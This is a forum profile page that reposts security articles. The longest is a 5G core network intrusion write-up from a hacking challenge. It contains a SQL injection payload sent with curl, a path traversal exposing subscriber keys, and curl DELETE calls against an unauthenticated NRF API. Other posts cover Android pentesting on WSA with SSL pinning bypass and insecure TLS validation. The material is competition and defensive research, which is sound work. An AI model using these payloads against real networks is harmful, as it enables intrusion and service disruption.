-
Posts
18664 -
Joined
-
Last visited
-
Days Won
681
Everything posted by Nytro
-
Intruding 5G core networks from outside and inside 5G installations are becoming more present in our life, and will introduce significant changes regarding the traffic demand growing with time. The development of the 5G will is not only an evolution in terms of speed, but also tends to be adapted in a lot of contexts: medical, energy, industries, transportation, etc. In this article, we will briefly present introduce the 5G network, and take as an example the assessment we did with the DeeperCut team to place 3rd on the PwC & Aalto 5G Cybersecurity challenge to introduce possible attacks, but also the tools we developed at Penthertz. Introduction In 2019, a part of our team had the chance to participate and win the "Future 5G Hospital intrusion" challenge of the 5G Cyber Security Hack 2019 edition. This edition was the opportunity to perform intrusion tests in a 5G Non-Standalone Access (NSA) network, which is the kind of network that is currently in use everywhere, from a 5G-NR interface using a provided ISIM card. Details of our intrusion have been documented in a more generic way and were published in Medium. This year, we had once again the opportunity to play freely with some 5G network products, and build a new team called "The Deeper Cuts" was composed of Alexandre De Oliveira, Dominik Maier, Marius Muench, Shinjo Park, and myself. Our team applied to the PwC & Aalto challenge which looked really complete for us on the paper, as it was not only looking for vulnerability in a commercial product but a complete network architecture. After 24h, we have been able to play with a lot of assets, discover some future attack vectors that will appear as soon as 5G-NR SA will be in production, but after this challenge we continued experimenting with testbed 5G Core Network to develop our tools. In this article, we will briefly remind the two types of 5G networks, and then focus on different scenarios starting from the outside and then looking inside the core network, discussing classic vulnerabilities we can encounter during a security engagement. In this article, we will also introduce one of the tools we made to attack this new type of network. Mobile network 5G NSA and SA (remindings) Two kinds of architectures are known for the 5G networks: SA (StandAlone); NSA (Non-StandAlone). At the time of this article, only NSA is largely deployed and it is rare to see a SA in production available to the public. We can probably expect the SA network to be deployed only in mid-2022 if everything goes right. If we make some reminding, the commercial 5G network deployment utilizes the NSA mode and shares the same Core network as LTE, known as NSA LTE assisted NR: 5G NSA architectures (Source: 3GPP) Technically, the same Evolved Packet Core (EPC) is used between 4G and 5G which does not make big changes apart from the radio side where 5G-NR use up to 1024-Quadrature Amplitude Modulation (QAM), supports channels up to 400 MHz, and also with a greater number of subcarriers compared to 4G. But in the end, the final user will still find some speed limitations due to the use of the 4G network shared with 4G antennas. In SA, things are going to change completely in the core as a Next-Generation Core Network (NGCN) with replacing the EPC: 5G SA architectures (Source: 3GPP) This new type of network might be able to support very fast connectivity, and a lot of different applications thanks to new concepts such as the Network Function Virtualization (NFV), the splitting of the data and control planes with Software Defined Network (SDN), and the Network Slicing (NS). Regarding the NFV in the upcoming 5G-NR SA architecture, the 3GPP opted for a Service-Based Architecture (SBA) approach for the control plane, where services use HTTP/2. The interfaces between the User Equipment (UE) and the core (N1), the network and the core (N2 and N3), as well as the user plan still use a point-to-point link as shown in the following picture. SBA architecture of a 5GC Generally, once the standards are frozen, the mobile network is rarely upgraded. This could be observed with 2G and 3G, but in 4G a lot of arrived for Machine Type Communications (MTC) and Internet of Things (IoT) applications. As a consequence, the 4G networks had to be updated with a new entity introduced by 3GPP: MTC-IWF (MTC Interworking Function). Its new architecture makes 5G core networks more flexible. The SBA model allows having two roles that can be played in software: a provider of services; and a consumer. All functions are connected together via an integration BUS using the REST API, and can be updated or deleted, but also reused in another context. Each function as a purpose. The User Plane Function (UPF) linked to the gNB is used to connect subscribers to the internet through the Data Network (DN). This function is connected to the Session Management Function (SMF) responsible for managing sessions, but also to handle the tunnel between the access network and the UPF, the selection of the UPF gateway to use, IP addresses allocations and interaction with the Policy Control Function (PCF). The PCF is here applies policy rules to the User Equipment (UE) using data from the Unified Data Repository which stores and allows extracting subscribers' data. The Access and Mobility Management Function (AMF) handles: subscriber registration; NAS (Non-Access Stratum) signalling exchange on the N1 interface; subscriber connection management, and subscriber location management. The management of user profiles is made by the User Data Management (UDM) and is also used to generate authentication credentials. To authenticate users for 3GPP and non-3GPP accesses, an Authentication Server Function (AUSF) is available. The Policy Control Function (PCF) assigns rules to the UE data from the Unified Data Repository (UDR). A UE is assigned a slide depending on its type, location, and other parameters defined in the Network Slide Selection Function (NSSF) To discover all these instances, a Network Repository Function (NRF) is available and all functions are communicating with it to update their status. We will see that this component reveals to be very interesting during an attack. Note that before this post, the NCC group previously published about a stack-overflow vulnerability they found in the UPF of the Open5GS stack. Their publication is interesting as it shows that memory corruptions can happen in these new 5GC networks, and it may be part of another post in this blog, or a YouTube video in our channel. Attack plan To illustrate possible attacks, we will give the example of the 5G Cybersecurity challenge 5GNC architecture provided by PwC & Aalto: Aalto & PwC challenge architecture This architecture includes a real gNB where the targets were connected in 5G-NR. The staff also let us have a playground core to get familiar with the architecture with SSH accesses. To get the feedback of LED status in real-time, the targets were streamed on a YouTube channel. To complete the challenge, organizers provided our generated SSH keys to connect the 5G core network. From there, we had could directly interact with the different exposed entities, but to make things a little spicier, our team also wanted to take it in a redder team approach: fingerprinting the range of the provided public address associated with the 5G core network; discover many exposed hosts with opened services; exploiting web vulnerabilities among opened services; taking 5G core network access to assess Network Functions (NF); deploying a fake NF; others? In this challenge, a proprietary 5G core network written in Go was used. Let us now see the different steps we took to intrude on this network. Exposed services Even if we were first granted to the playground 5G core network to get familiar with the 5G SA architecture, our team proceeded with some extra fingerprinting to see if they could directly join the 5G core network in production. Reverse lookup To do so, we took the public IP address, and just reverse looked for other ranges that would be part of the infrastructure. That way we would quickly figure out that one range proper to FI-TKK****-NET could be an interesting beginning: whois 195.148.**.** [...] inetnum: 195.148.***.0 - 195.148.***.255 netname: FI-TKK****-NET descr: TKK Comnet country: FI admin-c: MP14***-RIPE tech-c: MP14***-RIPE status: ASSIGNED PA mnt-by: AS17**-MNT created: 2009-02-13T10:44:24Z last-modified: 2009-02-13T10:44:24Z source: RIPE person: Markus P******** address: Helsinki University of Technology address: TKK/TLV address: P.O.Box 3000 address: FIN-02015 TKK Finland phone: **************** nic-hdl: MP14***-RIPE mnt-by: AS17**-MNT created: 2009-02-13T10:37:57Z last-modified: 2017-10-30T22:04:40Z source: RIPE # Filtered After that, we started scanning this whole range and discover many hosts, including interesting hostnames as follows: 5GC1.research.*.aalto.fi (195.148..***); 5GC2.research.*.aalto.fi (195.148..***). Among these hosts, we could also find some other hosts but probably out-of-the-scope as their aim is to test drones and VR/AR. So we have decided to only focus on these two hosts primarily. Exposed web interfaces The two interfaces we focused on seemed to have an interesting exposed interface at port TCP 3000 for both hosts and a TCP 5050 interface for IP 195.148.*. as follows: Nmap scan report for 5GC1.research.****.aalto.fi (195.148.***.***) Host is up (0.044s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION [...] 3000/tcp open ssl/http Node.js (Express middleware) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: EPC USER INTERFACE | ssl-cert: Subject: commonName=www.localhost.com/organizationName=c****core/stateOrProvinceName=ESPOO/countryName=FI | Issuer: commonName=www.localhost.com/organizationName=c***core/stateOrProvinceName=ESPOO/countryName=FI | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-01-10T08:20:47 | Not valid after: 2020-02-09T08:20:47 | MD5: 3bea 59c5 d273 8e76 943e 5da1 ca0f 2040 |_SHA-1: f5fc 11d5 489e b5a9 27e3 66b7 386e 05e0 5b79 78ea |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 [...] Nmap scan report for rs-122.research.*****.****.fi (195.148.***.***) Host is up (0.044s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a3:8f:d9:************************************** (RSA) | 256 19:99:4d:*************************************** (ECDSA) |_ 256 22:99:80:*************************************** (ED25519) 25/tcp filtered smtp 3000/tcp open ssl/http Node.js (Express middleware) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: EPC USER INTERFACE | ssl-cert: Subject: commonName=www.localhost.com/organizationName=c****core/stateOrProvinceName=ESPOO/countryName=FI | Issuer: commonName=www.localhost.com/organizationName=c***core/stateOrProvinceName=ESPOO/countryName=FI | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-01-10T08:20:47 | Not valid after: 2020-02-09T08:20:47 | MD5: 3bea 59c5 d273 8e76 943e 5da1 ca0f 2040 |_SHA-1: f5fc 11d5 489e b5a9 27e3 66b7 386e 05e0 5b79 78ea |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 | tls-nextprotoneg: | http/1.1 |_ http/1.0 5050/tcp open mmcc? | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 404 NOT FOUND | Connection: close | Content-Length: 232 | Content-Type: text/html; charset=utf-8 | Date: Mon, 14 Jun 2021 15:18:55 GMT | Server: waitress | <!DOCTYP#fig:c****core1#fig:c****core1E HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> | <title>404 Not Found</title> | <h1>Not Found</h1> | <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p> | GetRequest: | HTTP/1.0 200 OK | Connection: close | Content-Length: 2407 | Content-Type: text/html; charset=utf-8 [...] Core network Management console exposed on TCP port 3000 Management interface exposed on TCP port 5050 on 195.148.***.*** Finding these interfaces, our team proceeded by hunting for vulnerabilities on web applications. Web vulnerabilities in core's GUI Traversal By bruteforcing directories in exposed web interfaces, it was found that at least one was vulnerable to a path traversal, giving us access to the Core Network Management Interface as follows: Directory traversal in Core Network's console With such access, we could directly look for secret likes preshared key Ki used to derive session keys for each subscriber: Secret exposed in the exploited interface In that context, keys were just duplicated for the challenge, as it is more convenient to develop a batch of ISIM cards with the exact same key. But imagine if those keys were actually used in real-world context, an attacker would be able to use these secrets and trap the victims in fake gNB, as the BTS, or (e/g)NodeB would be able to authenticate itself with that key. Indeed, if we are considering using an srsRAN for 4G and 5G NSA, or an Amarisoft gNB and provide the key of each user the following way, we will be able to spy on communications being close to targets. Following this traversal vulnerability, we have also found another web vulnerability that allowed us to gain more information. Leaked password Continuing our investigation, we have been able to retrieve accesses to the MySQL database: Leaked password in the core network web console Unfortunately for us, this database was not directly exposed. SQL injection Indeed, by inspecting the JavaScript file routes/routes.js of the web user interface, it was shown that some parameterized SQL query were used for most functions. However, among all options, the /operator endpoint was clearly an option: check('mcc').isInt({ min: 100, max: 999 }).withMessage('Error! mcc should be integer value!').trim().escape(), check('mnc').isLength({ min: 1, max: 3 }).withMessage('Error! Mnc should not be empty !').trim().escape(), check('op').isHexadecimal().withMessage('Error! The op field requires hexadecimal value!').trim().escape(), check('amf').isHexadecimal().withMessage('Error! The amf field requires hexadecimal value!').trim().escape(), check('name').isLength({ min: 1 }).withMessage('Error! The name field requires alphanumeric characters!').trim() ... snipped ... mysql_op = "INSERT INTO operators (mcc,mnc,op,amf,name) values ('" + req.body.mcc + "','" + req.body.mnc + "',UNHEX('" + req.body.op + "'),UNHEX('" + req.body.amf + "'),'" + req.body.name + "')"; db.query(mysql_op, function (err, op_data) { Testing this option, we could observe that it was possible to save a result into an inserted column using the following query: $ curl -L -k 'https://195.148.****:3000/operator' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 ' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Referer: https://195.148.******:3000/display_operator' -H 'DNT: 1' -H 'Connection: keep-alive ' -H 'Cookie: connect.sid=s%3A77zZAllwXzI3OMKe6gK5b1iy***********************************************************' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://19 5.*******:3000' --data-raw 'mcc=901&mnc=01&op=f964ba947*********************&amf=8000&name=a%27%29%3B%20SELECT%20COUNT%28%2A%29%20INTO%20%40v1%20FROM%20five_g_service_data%3B%20UPDAT E%20operators%20SET%20operators.name%20%3D%20LEFT%28%40v1%2C%2020%29%20WHERE%20operators.mcc%20%3D%20%27901%27%20%23%20' The query resulted as follows: SQL injection in the core network management interface However, it was also observed that we were limited to 20 characters maximum with the name field which was the bigger type in this case. We could retrieve the result in blind using timing functions, but it was in fact time-consuming. So the best option was to automate it, but also keep a clean page for other participants by saving results discreetly in the name field as possible. Running on time, our black-box approach needed to finish and we used SSH tunnels provided by organizers to continue inside the "Operator's Network". Interaction with NRF Inside the Operator's network, we were able to scan and discover a few other systems and particularly some HTTPS endpoints that were revealed to be an NRF (Network Function Repository Function) endpoints: $ curl -k -X GET "https://10.33.*****:9090/bootstrapping" -H "accept: application/3gppHal+json" {"status":"OPERATIVE","_links":{"authorize":{"href":"https://10.33.******:9090/oauth2/token"},"discover":{"href":"https://10.33.******:9090/nnrf-disc/v1/nf-instances"},"manage":{"href":"https://10.33.******:9090/v1/nf-instances"},"self":{"href":"https://10.33.1.12:9090/bootstrapping"},"subscribe":{"href":"https://10.33.1.12:9090/nnrf-nfm/v1/subscriptions"}}} While this method returns API endpoints for different kindis of tasks. After that, we can inspect further this API, like using the nf-instances endpoints by example: $ curl -k -X GET "https://10.33.*****:9090/nnrf-disc/v1/nf-instances?target-nf-type=NRF&requester-nf-type=NRF" {"validityPeriod":120,"nfInstances":[{"nfInstanceId":"8cfcf12f-c78f-******************","nfType":"NRF","nfStatus":"REGISTERED","nfInstanceName":"nrf-cumu","plmnList":[{"mcc":"244","mnc":"53"}],"ipv4Addresses":["10.33.*******:9090"],"allowedPlmns":[{"mcc":"244","mnc":"53"}],"allowedNfTypes":["NWDAF","SMF","NRF","UDM","AMF","AUSF","NEF","PCF","SMSF","NSSF","UDR","LMF","GMLC","5G_EIR","SEPP","UPF","N3IWF","AF","UDSF","BSF","CHF","PCSCF","CBCF","HSS","SORAF","SPAF","MME","SCSAS","SCEF","SCP"],"nfServiceList":{"0":{"serviceInstanceId":"0","serviceName":"nnrf-disc","versions":[{"apiVersionInUri":"v1","apiFullVersion":"1.0.0"}],"scheme":"https","nfServiceStatus":"REGISTERED","ipEndPoints":[{"ipv4Address":"10.33.1.12","ipv6Address":"","transport":"TCP","port":9090}],"allowedPlmns":[{"mcc":"244","mnc":"53"}]},"1":{"serviceInstanceId":"1","serviceName":"nnrf-nfm","versions":[{"apiVersionInUri":"v1","apiFullVersion":"1.0.0"}],"scheme":"https","nfServiceStatus":"REGISTERED","ipEndPoints":[{"ipv4Address":"10.33.****","ipv6Address":"","transport":"TCP","port":9090}],"allowedPlmns":[{"mcc":"244","mnc":"53"}]}}}]} It should be noted that all these queries were performed without any authentication. Nevertheless, a good understanding of the 3GPP OpenAPI is required if we do not want to drown down looking at all the YAML files. Luckily for us at that time, there was some project like 5GC APIs which allowed us to save plenty of time. OpenAPI Descriptions of 3GPP 5G APIs (Release 17) A project like 5GC API allows us to quickly construct queries, but these queries needed them to be converted to Burp Suite if we wanted to automate some work, but also record behaviours more narrowly. So after the challenge, a Burp Suite extension was also released by Penthertz to allow future telecom pentesters to directly check the NRF interface. This extension is officially available in Burp's store. Parsed OpenAPI YAML in Burp Suite And by playing with the different endpoints, we have been able to reach the goal of the challenge by interrupting the traffic by deleting the NF instances created for the challenge: $ curl -k -X DELETE "https://10.33.*****:9090/nnrf-nfm/v1/nf-instances/84694f7d-7f76-44af************************" -H "accept: */*" # first API call $ curl -k -X DELETE "https://10.33.*****:9090/nnrf-nfm/v1/nf-instances/84694f7d-7f76-44a*****************" -H "accept: */*" # second API call {"title":"Data not found","status":404,"cause":"DATA_NOT_FOUND"} But abusing the PUT web verb, we were also able to perform a lot of alterations and hijack clients, or also create are own instances for the purpose: Result of a fake instance create in the NRF The risks of having an NRF interface exposed to an attacker, and without authentication can have terrible consequence as each function is responsible for a task, and hijacking these functions would allow an attacker to be persistent and steal secrets, monitor communications, and pivot to sensitive slices easily to gain access to other infrastructures. For more information regarding possible attacks with the NRF, but also the PFCP protocol, Positive Technologies also released a nice report resuming attacks that can be possible in 5G SA cores. Go further on leaked binaries During the intrusion, we have also been able to leak the binaries, but looking at these directly showed that reversing will not be very easy: $ file * amf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08f94b071650da3554e5b95f70e6ba3850ce6318, with debug_info, not stripped amf_config.json: ASCII text cert: directory config.yml: ASCII text go-upf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=ckq7fZLxgmR6uenXU4JZ/KAXEUT7OwQ1xBaGVgD_7/ooHH5veYSKyfB5KX-Pjl/gKzOtxFRdL-lJs_6ac2l, stripped hackathon_tckn: data nrf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=uX08ekosFePKbnLnF0QB/JUYvVUCmbTHKFc0ERXZw/ZsdPpGDbVPLe-CI-lzfU/KT8XrjYx8vFbsGgXj9wS, not stripped nrf-config.yml: ASCII text private.key: PEM RSA private key public.crt: PEM certificate pub.pem: ASCII text smf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=00c4f4b9e2b8c364e8d6598336d1003324ed76c9, with debug_info, not stripped smf_config.json: JSON data Indeed, interesting binaries seem to be written in Go language. Apart from looking at string references, we did not have the time to go further on the binary, but it would be interesting to look at these at least using a network fuzzer. To also assist on reversing those binaries, a Ghidra plugin is available for x86_64 architectures: Ghidra Go Tools Plugin within `SearchNFInstances` decompiled function Even if the analysis would be painful, the plugin helps a lot retrieving function names, arguments in calls, and return types, which is also good for fuzzing purposes. We will probably cover it in another blog post. Conclusion 5G-NR SA is expected soon to be released to the public, and we saw that a new network protocol in HTTP/2 will be used for this purpose. As a fact, it means that a new form of attack will also be introduced in the telecom industry, that was for the moment only mostly dealing with network attacks in the core, but will also have to be aware of potential web vulnerabilities in the future. We showed thanks to the 5G Cybersecurity event, that even 5G-NR SA core network can be exposed and easily attacked depending on exposed services, and the implementation of services and web applications. Indeed, the NRF interface was not directly exposed in our cases, and it would be a long road to get access to this interface with the vulnerable core network interface exposed. Penthertz offers Trainings Starting 2022, Penthertz will offer 5G-NR and 5GNC security training at Advanced Security Training as 5G Mobile Device Hacking. This training will be an opportunity to attendees to touch a 5G-NR NSA and SA testbed in remote, but also an opportunity to play with a 5G Core Network. For more information: click here Consulting Penthertz has more than 10 years experience in radio including mobile security since 2010, and provides consultancy services to find weak points in radio communications and network. To get more information, please contact us using this link. Sursa: https://penthertz.com/blog/Intruding-5G-core-networks-from-outside-and_inside.html
-
Android Application Testing Using Windows 11 and Windows Subsystem for Android Reading time ~17 min Posted by Michael Higgo on 16 November 2021 Categories: Android, Windows, Mobile, Objection, Windows 11, Windows subsystem for android, Wsa, Wsl With the release of windows 11, Microsoft announced the Windows Subsystem for Android or WSA. This following their previous release, Windows Subsystem for Linux or WSL. These enable you to run a virtual Linux or Android environment directly on your Windows Operating System, without the prerequisite compatibility layer provided by third-party software. In this post I’ll show you how to use WSA for Android mobile application pentesting, such that you can perform all of the usual steps using only Windows, with no physical Android device or emulator needed. Experience The WSA experience is great; when installing applications within WSA, they are automatically available to the Windows host. Likewise, all files and resources from the Windows host can interact with the Android Subsystem. In the past, Android emulation has been notoriously tricky. Third party applications always required you to place your trust somewhere else, and have always been slow and resource heavy. This got me thinking about how WSA could potentially be used for Android security testing, without the need for an Android device. In order for this to be successful, I would need to be able to install, patch, and run Android applications, as well as intercept traffic… in same manner as on a physical Android device. This would serve two purposes – the first being removing the need for a potentially expensive device, and secondly creating a uniform and reproducible testing platform. Step 1 – Prerequisite Applications The following applications are often needed to conduct Android application security testing. Not all of them are not necessary for WSA itself, but are useful for Android testing and connectivity in general. Android Studio is a must for any Android testing. It provides a debugger, and a way to view the components of an APK in an easily digestible format. Android SDK Tools are needed for the Android Debug Bridge (ADB), which will be used to connect to WSA from the command line, transfer files, and install applications. We will be using Objection to patch APKs prior to installation as well as to perform some instrumentation of the target application. Objection has various prerequisites which are mentioned in the Wiki and should be installed as well. Windows 11 – with the virtual machine platform enabled in the Windows Features settings. Lastly, we’ll be needing Python to run objection. On my system, I added the paths to all of the above-mentioned tools to my Windows environment variables so that they can be run from any directory. I recommend this for a smoother experience. It can be done by clicking Start, and then typing environmental variables, and editing the system-wide variables. Adding all the previously installed tools to your PATH environmental variable Step 2 – Installation Microsoft has detailed instructions on how to install “base” WSA here. At the time of writing this post, in order to install WSA directly from the Microsoft Store, you need to be part of the Windows Insider Program, and running on the Beta channel. This will change in future releases. It is also currently only possible to install a small subset of applications from the Amazon Appstore, which is installed from the Microsoft Store here – it’s just stores all the way down! These limitations don’t help us when a client sends an APK or AAB bundle, so we need a way to side load applications, the same as we would on a regular physical device. Thankfully this is made possible following my second installation method below. Installation method 1 – Limited WSA For demonstration purposes, let’s see how to install Microsoft’s limited WSA distributed through the insider program. We won’t modify it to allow Google Play Services to work, or to side load applications, that’s done in the next section, and you’ll have to uninstall this. So this is really just to show the difference. The MSIXBundle that you will get when signing up for the Insiders Program file can be discovered using this service. This site is a link aggregator for downloading directly from the Microsoft store. Credits to RG_Adguard for this. Within the URL field, enter the following (which is the URL for the Amazon Appstore): https://www.microsoft.com/store/productId/9P3395VX91NR Then select the SLOW channel and hit search. This should reveal the URL to download the WSA application directly from Microsoft. Make sure to select the SLOW channel Select the 1.2GB MSIXbundle file Once downloaded, open Windows Terminal as Administrator and run the following: Add-AppxPackage -Path "C:\path\to\wsa.msixbundle" This should then give you the Windows Subsystem for Android in your Windows start menu. WSA Settings should now be available in your start menu. Once the application is open, you’ll see a couple of options. The first is choosing to have the subsystem resources available as needed, or continuously available. This is a personal preference. I chose to have them running continuously, as I have resources to spare. The second option is not personal preference. You MUST enable developer mode within WSA, or you will not be able to connect via the Android Debug Bridge or ADB. Ensure Developer Mode is enabled. You will see that you currently have no IP assigned, and this is expected. Even though the WSA settings are open, WSA itself is not necessarily running. IP Address is unavailable currently. In order to actually start WSA, you need to click the open icon next to the FILES option, which will present you with a very basic Android file browser GUI. This is the screen you’ll see once the subsystem is running, and the “device” has started. At this point you’ll have a basic WSA installation up and running. However, it is limited to the Amazon app store, and that is not very useful for what we want to do! Installation method 2 – Google Play enabled WSA with root Let’s redo the installation step-by-step using a method which provides more functionality, such as the ability to install applications directly from Google Play within Windows, the ability to sideload applications, and the ability to Root your WSA “device”. Firstly, if you were previously playing around with WSA, or you followed my initial method, you’re going to need to uninstall all traces of WSA from your system. Next, Open your Windows settings and enable Developer Mode within Windows itself, as opposed to within WSA (although both are needed). This will allow you to install third party application bundles from outside of the Microsoft Store. Next you’ll need to create and download a patched WSA installer and platform tools. This can be done by following the description on the Github repo here. In essence you will fork the repo, and specify the version of the open source Google Play Store you want by name, based on OpenGApps. A small selection of the different variants descriptions are below: Pico: This package is designed for users who want the absolute minimum GApps installation available. Nano: This package is designed for users who want the smallest Google footprint possible while still enjoying native “Okay Google” and Google Search support. Stock: This package includes all the Google Apps that come standard on Pixel smartphones. The forked repo on my gitHub Once forked, click Actions, and click on the Build WSA workflow, specifying the OpenGApps version you selected from above. In summary, the workflow will: Download WSA from the Microsoft Store (via RD-Adguard) Download Magisk from the Canary branch on the Magisk repo Download your specified version of OpenGApps Unzip the OpenGApps Mount all images Integrate OpenGApps Unmount all images Shrink the resultant image Integrate ADB Package everything into the final zip file. You can see this workflow in action in this file. Select the GApps version in the build options on the right hand side The WSA Build is complete The resultant file size will vary greatly based on the selection of GApps You will see a download link included for a specific version of Magisk in the build options, which currently works 100% with WSA. Magisk is an application used to Root android devices. Rooting is NOT necessary for patching or intercepting to work, but does provide extra functionality which may be useful to you. Extract the resultant WSA-with-magisk-GApps.zip contents and open a Terminal window as Admin within the unzipped directory. Then run: Add-AppxPackage -Register .\AppManifest.xml You can now re-open windows Subsystem for Android from the Windows Start menu. You’ll need to enable Developer Mode from within the WSA settings, and click on the open files button, just as before. Back in the terminal, we can now run ADB (either directly from the platform tools directory, or from any directory if you modified your environment variables). Typing ADB devices will give a list of all the current available devices which will initially be empty. We’ll fix that in a moment. Looking at the WSA settings, an IP address should now be configured. We can connect to this “device” using ADB connect `IP`. We can then re-list the devices and confirm we have connectivity. Installing applications is as simple as ADB install ‘APK Name’. We will be installing Magisk in this manner with ADB install magisk.apk. Once installed, click on Start and search for Magisk. As WSA shares resources with Windows, Magisk can be opened from the Start menu as if it is installed in windows directly, however it is running seamlessly under WSA. In the terminal, type ADB shell to gain access to the WSA “device”. We can confirm the current user with whoami. Typing su to become root will result in a pop-up within Magisk, asking to allow root access. Once allowed, the SuperUser tab within Magisk will show that we have granted root access within the ADB shell. We can confirm we have rooted the device with whoami. From this point, we have full read/write access to the WSA filesystem. Step 3 – Objection Objection works in much the same way from this point. Simply running objection patchapk -s 'sourceapk' will allow ADB to determine the device architecture the same way as it would from a mobile device via USB. I will be using the “Purposefully Insecure and Vulnerable Android Application” (PIVAA) for demonstration purposes. Objection successfully determined the x86_64 architecture, and patched the application accordingly. Once patched, install the application with adb install .\pivaa.objection.apk As before, it is now available directly within Windows. However, starting the application will cause it to “pause” until we use Objection explore to hook into the Frida server. Objection successfully hooks into the Frida server You will see this device show up as a “Pixel 5”, which seems to be the archetype for the virtual device, and may change in future updates. It’s important to note that no USB, nor a physical Pixel 5 are involved. I now had a working WSA installation, a rooted device, patching with Objection, and hooking into running patched applications with Objection. The main question that I was faced with at this stage was how to do the final step – intercepting traffic with Burp Suite. Step 4 – Intercept with Burpsuite As I had no way of seeing the virtual network settings or installing a certificate authority on the device, I decided to try installing an Android Launcher. A launcher is similar to a desktop environment on a Linux distribution, and is what you see when you unlock your physical android device. Some popular ones include Niagara, Nova, Lawnchair, and Stock launchers from the likes of Google and Samsung. After trying multiple launchers, third party settings applications, and Windows specific proxy applications, I had the idea that the launcher with the highest probability of being compatible was the Microsoft Launcher. You can install it directly onto the device by using OpenGapps and using the official play store link. I opted to side load the APK from here (however multiple other APK mirroring sites exist, so use your preferred one), and installed it with adb install. This gave me exactly what I was looking for, a settings application. Other applications can be opened from the launcher directly, as opposed to the Windows Start menu Within the Network and Internet settings, I finally had a Virtual WiFi adapter, which I was able to set proxies for. When in the VirtWiFi settings, I was able to select the Advanced options to install certificates. Knowing this, I generated a certificate from Burp Suite and moved it to the “device” using: adb push .\burpwsa.cer /storage/emulated/0/Download I knew I had access to all folders after rooting with Magisk, but the Downloads folder was visible within the files application of WSA itself, so I selected this as the destination directory. Installing the certificate needed to be done through the settings however. Click on advanced – Install certificates. Once installed, I set my proxy listener in Burp to that of my host Ethernet IP, and a port of my choosing as per usual. Within the VirtWifi I edited the proxy to have the same settings. Click the pencil on the top right to edit the config. Match the proxy settings to Burp Suite Now when running the PIVAA application, hook into it with Objection as before, however this time specifying Android SSLPinning Disable as the startup command, I was able to intercept the traffic from WSA. An exception was thrown for TrustManager, indicating the SSLpinning was being bypassed Specifying Sensepost.com within the application. Summary We can see that using the initial method, we’re severely limited to what we can do, but there’s always workarounds and more we can do! Digging a bit deeper, we’re able to install WSA without using the Microsoft store, and without being on the Windows 11 Beta program, but that wasn’t quite where we needed to be. Taking it one step further allows us to install any application we want, and obtain root privileges on WSA itself, which is a critical step in terms of security testing Android. The final step from here, which undoubtedly took the longest, was figuring out how to intercept traffic from this virtual device in Burpsuite, in order to perform dynamic testing, and modify the data in transit, but with this done, there is now no longer a need for a physical android device to perform security testing on Android applications. Please feel free to reach out to me with any questions you may have. This is still a new and evolving technology, and I hope to add to this as new methods emerge. Sursa: https://sensepost.com/blog/2021/android-application-testing-using-windows-11-and-windows-subsystem-for-android/
-
CVE-2021-43224-POC Windows Common Log File System Driver POC maybe CVE-2021-43226 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43226 just bsod !!! tested on windows 20H2 ver 19042.1387.. Sursa: https://github.com/KaLendsi/CVE-2021-43224-POC
-
Insecure TLS Certificate Checking in Android Apps Written by: Samuel Hopstock - Software Engineer Since launching Guardsquare’s mobile application security testing tool AppSweep at the beginning of August, we have been monitoring the types of security issues found in Android apps. One of the predominant issue classes we saw were apps containing code that led to an insecure configuration of HTTPS connections. This post will explain the technical background of why these configurations are insecure, and how attackers can take advantage of these situations. If you would like to learn more about how to properly secure HTTPS connections in Android apps, keep an eye out for the follow up post. HTTPS-Related Findings in AppSweep With HTTPS communication, the actual traffic is encrypted with the Transport Layer Security (TLS) protocol, which bases its trust model on the certificate presented by the web server. In order for the connection to be secure, the client needs to properly examine this server certificate and determine whether it is trustworthy. After several months of Android application scans, we’ve noticed several common issues with certificate verification in more than 33% of all scanned builds: We discovered that 9% of all builds submitted to AppSweep instructed WebView objects to ignore any TLS-related errors during connection establishment. This is insecure, as TLS errors are usually caused by invalid certificates, so ignoring them ultimately undermines the entire certificate checking process. 25% of the apps scanned have a malfunctioning custom implementation of the X509TrustManager class. The X509TrustManager class is responsible for the validation of TLS certificate chains, so if its implementation is flawed, the entire security concept of the protocol is disabled. Finally, 15% of the scanned apps were configured so that the general authenticity of the certificate was verified, but the last step of verifying the validity of the certificate’s host name was skipped. With this configuration, an attacker could present a valid certificate for malicious.com, even though the user was trying to connect to google.com. Causes of Insecure TLS Configurations As our scan results indicate, developers frequently override the secure default implementations for validating TLS certificates provided by the Android framework. A very prominent concept in the field of cryptography and IT security is to rely on well-known and tested existing algorithms and libraries, and to not “roll your own” crypto. This naturally applies to validating TLS certificates correctly as well. This raises the question of why developers want to override the defaults anyway, and risk ending up with insecure implementations. Analyzing StackOverflow questions and publicly available blog posts gave us some insight into the reasons, which seem twofold: Some apps need to establish secure connections to servers that use certificates issued by custom certificate authorities (CAs) OWASP strongly recommends using certificate pinning to secure communication with backend servers in accordance with security best practices, but implementing this yourself is a potentially error-prone task We will now dive deeper into these two reasons, exploring how they might result in insecure implementations and why developers include them in their 